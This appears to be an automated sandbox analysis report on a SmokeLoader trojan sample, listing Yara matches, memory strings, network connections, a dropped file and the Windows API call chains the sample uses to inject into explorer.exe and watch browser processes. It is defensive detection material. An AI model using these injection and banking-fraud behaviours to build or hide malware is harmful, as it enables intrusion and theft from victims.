Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: explorer.exe, 00000007.00000003.2362669537.0000000003309000.00000004.00000020.00020000.00000000.sdmp, C794.tmp.7.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-b
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-it
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/vi
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/predicting-what-the-pac-12-would-look-like-after-expansion-wi
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-world
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandin
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINt
Source: explorer.exe, 00000002.00000000.1474139705.0000000006F0F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com:443/en-us/feed

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 0000000C.00000002.3926284328.0000000000801000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3926530110.0000000003001000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7064, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 6984, type: MEMORYSTR
Source: Yara match	File source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe, type: SAMPLE
Source: Yara match	File source: 4.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.0.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.hfetwhc.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\hfetwhc, type: DROPPED

E-Banking Fraud

Checks if browser processes are running

Source: C:\Windows\SysWOW64\explorer.exe	Code function: StrStrIA, chrome.exe\|opera.exe\|msedge.exe	9_2_03222EA8
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, firefox.exe	9_2_03223862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, iexplore.exe	9_2_03223862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, microsoftedgecp.exe	9_2_03223862
Source: C:\Windows\SysWOW64\explorer.exe	Code function: GetModuleFileNameA,GetCurrentProcessId,wsprintfA,CreateMutexA,GetLastError,RtlInitializeCriticalSection,PathFindFileNameA,lstrcat,Sleep,lstrcmpiA,lstrcmpiA,GetCommandLineW,CommandLineToArgvW,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,lstrcmpiA,lstrcmpiA,lstrcmpiA,StrStrIA,GetCommandLineA,GetCommandLineA,StrStrIA,GetModuleHandleA,lstrcmpiA,GetCommandLineA,StrStrIA,lstrcmpiA,GetCommandLineA,StrStrIA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,RtlExitUserThread,wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,CloseHandle,Sleep, chrome.exe	9_2_03223862

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown

PE file has a writeable .text section

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: hfetwhc.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_00402600 NtOpenKey,NtEnumerateKey,NtEnumerateKey,NtClose,	0_2_00402600
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_00402FFC RtlCreateUserThread,NtTerminateProcess,	0_2_00402FFC
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_00401597 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_00401597
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_0040250F NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_0040250F
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015C6 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015C6
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015C9 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015C9
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004032DC NtTerminateProcess,RtlInitUnicodeString,ExpandEnvironmentStringsW,CreateFileW,CreateFileMappingW,MapViewOfFile,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,	0_2_004032DC
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004022DE NtQuerySystemInformation,	0_2_004022DE
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_00402595 NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_00402595
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015A2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015A2
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004022A8 NtQuerySystemInformation,	0_2_004022A8
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015AE NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015AE
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004023B0 NtQuerySystemInformation,NtQueryInformationProcess,NtOpenKey,NtEnumerateKey,NtEnumerateKey,	0_2_004023B0
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015B2 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B2
Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004015B5 NtDuplicateObject,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	0_2_004015B5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E4B92 RtlMoveMemory,NtUnmapViewOfSection,	7_2_007E4B92
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E33C3 NtQueryInformationFile,	7_2_007E33C3
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E342B NtQueryObject,NtQueryObject,RtlMoveMemory,	7_2_007E342B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E349B CreateFileW,OpenProcess,NtQueryInformationProcess,NtQueryInformationProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,lstrcmpiW,NtQueryObject,StrRChrW,StrRChrW,lstrcmpiW,GetFileSize,SetFilePointer,SetFilePointer,ReadFile,SetFilePointer,CloseHandle,CloseHandle,CloseHandle,	7_2_007E349B
Source: C:\Windows\explorer.exe	Code function: 8_2_00A338B0 NtUnmapViewOfSection,	8_2_00A338B0
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03223D8D RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,	9_2_03223D8D
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03222E1B OpenProcess,lstrcmpiA,NtQueryInformationProcess,NtQueryInformationProcess,StrStrIW,	9_2_03222E1B
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03221FE5 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	9_2_03221FE5
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 9_2_03221F4E NtCreateSection,NtMapViewOfSection,	9_2_03221F4E
Source: C:\Windows\explorer.exe	Code function: 10_2_00D95300 NtUnmapViewOfSection,	10_2_00D95300
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_03001016 RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,GetCurrentProcessId,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,	11_2_03001016
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_03001A80 NtCreateSection,NtMapViewOfSection,	11_2_03001A80
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 11_2_03001819 lstrcmpiA,OpenProcess,NtSetInformationProcess,CloseHandle,NtUnmapViewOfSection,NtUnmapViewOfSection,RtlMoveMemory,RtlMoveMemory,RtlMoveMemory,NtUnmapViewOfSection,CloseHandle,CreateMutexA,GetLastError,CloseHandle,Sleep,GetModuleHandleA,GetProcAddress,ReadProcessMemory,WriteProcessMemory,CreateRemoteThread,CloseHandle,Sleep,WriteProcessMemory,CreateRemoteThread,CloseHandle,CloseHandle,CloseHandle,CloseHandle,CloseHandle,	11_2_03001819
Source: C:\Windows\explorer.exe	Code function: 12_2_0080355C NtUnmapViewOfSection,	12_2_0080355C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C1F82 RtlMoveMemory,NtUnmapViewOfSection,	13_2_030C1F82

Source: C:\Users\user\Desktop\172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Code function: 0_2_004032DC	0_2_004032DC
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E2198	7_2_007E2198
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007EC2F9	7_2_007EC2F9
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007FB35C	7_2_007FB35C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_00834438	7_2_00834438
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007FB97E	7_2_007FB97E
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_007E6E6A	7_2_007E6E6A
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 7_2_00805F08	7_2_00805F08
Source: C:\Windows\explorer.exe	Code function: 8_2_00A31E20	8_2_00A31E20
Source: C:\Windows\explorer.exe	Code function: 10_2_00D92C00	10_2_00D92C00
Source: C:\Windows\explorer.exe	Code function: 12_2_00802054	12_2_00802054
Source: C:\Windows\explorer.exe	Code function: 12_2_00802860	12_2_00802860
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030CEA1C	13_2_030CEA1C
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030CFAB4	13_2_030CFAB4
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C3DE2	13_2_030C3DE2
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C4445	13_2_030C4445
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030CC452	13_2_030CC452
Source: C:\Windows\SysWOW64\explorer.exe	Code function: 13_2_030C80F6	13_2_030C80F6

Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 007E7F70 appears 32 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 030C8F30 appears 32 times
Source: C:\Windows\SysWOW64\explorer.exe	Code function: String function: 007E8801 appears 40 times

Source: WalletService.dll.mui.13.dr	Static PE information: No import functions for PE file found
Source: hfetwhc.2.dr	Static PE information: No import functions for PE file found
Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Static PE information: No import functions for PE file found

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 00000000.00000002.1490295117.00000000005E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.1727138000.00000000004F1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1490679568.0000000002261000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000004.00000002.1726957933.00000000001F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: hfetwhc.2.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: hfetwhc.2.dr	Static PE information: Section .text
Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe	Static PE information: Section .text

Source: classification engine

Classification label: mal100.bank.troj.spyw.evad.winEXE@17/55@3/2

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 9_2_03223BE1 wsprintfA,lstrcmpiA,CreateToolhelp32Snapshot,Process32First,lstrcmpiA,lstrcmpiA,lstrcmpiA,lstrcmpiA,Process32Next,CloseHandle,Sleep,

9_2_03223BE1

Source: C:\Windows\SysWOW64\explorer.exe

Code function: 7_2_007E4440 CoCreateInstance,SysAllocString,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,lstrcmpiW,wsprintfW,

7_2_007E4440

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\hfetwhc

Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\BD1F.tmp

Jump to behavior

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior

Source: 172823964570053a59b24ac6432eba9d1852681850b7ea6d06bd275c12bfed591157d7099b818.dat-decoded.exe

